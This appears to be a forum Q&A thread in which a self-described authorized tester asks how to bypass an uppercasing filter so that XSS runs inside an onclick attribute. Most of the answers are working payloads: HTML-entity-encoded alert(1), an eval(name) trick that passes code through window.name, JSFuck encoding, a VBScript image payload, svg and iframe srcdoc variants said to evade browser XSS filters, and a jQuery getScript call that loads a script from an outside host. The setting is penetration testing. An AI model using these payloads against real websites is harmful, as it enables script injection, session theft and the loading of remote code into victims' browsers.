I'm testing a web application, when I send an input data to web application, this places the data in an onclick function, something like this:

<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>

But, the web application transforms that data from lowercase to uppercase, then if I replace dataFromServer for ','0');alert('XSS');someFunction(', I have the following result:

<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>

So, my XSS exploit doesn't work, because, the browser says "ALERT is undefined", I have tested on Firefox and IE.

Is there some way to execute a XSS in this case?

  • Knowing nothing about XSS, I think it's funny that this might be a legitimate way to block it – WorseDoughnut Mar 17 '16 at 20:02
  • I would suggest trying ');"><script src="PATHTOSCRIPTELSEWHERE" /><i a=" or similar - break out of the onclick context. – Matthew Mar 17 '16 at 20:05
  • I tried ');"><script src="PATHTOSCRIPTELSEWHERE" /><i a=" but the web application encodes < and >, then it doesn't work. – hmrojas.p Mar 17 '16 at 21:24
  • 1
    This question sounds like a "help me hack this" type post and not a "can they break my XSS protection" type post. – Bacon Brad Mar 17 '16 at 23:03
  • 1
    This is part of my job, I'm auhorized to do this kind of tests, but I have never had a case like this and I think there is a way, for this reason, I answered this question. – hmrojas.p Mar 18 '16 at 14:33

You can encode the letters using ampersand and numbers (html encoding). a = &#x41; or &#x65; and so on.

JavaScript code can be encoded without using alphanumeric characters. The easiest way to do this is to check out: http://www.jsfuck.com/ This site can encode it for you.

  • I liked it, it's a good option, but the web application validates the lenght, it allows 100 characters as maximun, thanks. Also I knew the first option, but the web application encodes the ampersand. – hmrojas.p Mar 18 '16 at 14:29
  • 1
    I found another input with the same fewatures, but this allows more characters, then your solution helped me, thanks!!!! – hmrojas.p Mar 23 '16 at 16:21
  • You can even call $.getScript() if the application has jQuery installed like so to avoid any filters: $["\x67\x65\x74\x53\x63\x72\x69\x70\x74"]("http://example.com/xss.js"); – Paradoxis Apr 5 '16 at 13:53

There is one (kind of old-school) way you can do this which may or may not be relevant to your case, depending on the application's user base.

VBScript works ok in Internet Explorer 10 and earlier and it is case insensitive, so something like

<IMG SRC='vbscript:msgbox("XSS")'>

might work ok.

  • I'm testing on IE 11, but I tried and it doesn't work, therefor the web application thansforms all text: <IMG SRC='VBSCRIPT:MSGBOX("XSS")'>. Thanks. – hmrojas.p Mar 17 '16 at 21:26
  • @hmrojas.p: If VBScript is enabled this should work because VBScript is case insensitive. – SilverlightFox Mar 18 '16 at 10:14

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" will execute alert(1) when clicked on.

If there is a length limitation of 100 characters you can use the following pyaload:

&#x65;&#x76;&#x61;&#x6C;(&#x6E;&#x61;&#x6D;&#x65;) which translates to eval(name)

You can set name, or window.name, via for example target attribute of an a-tag:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.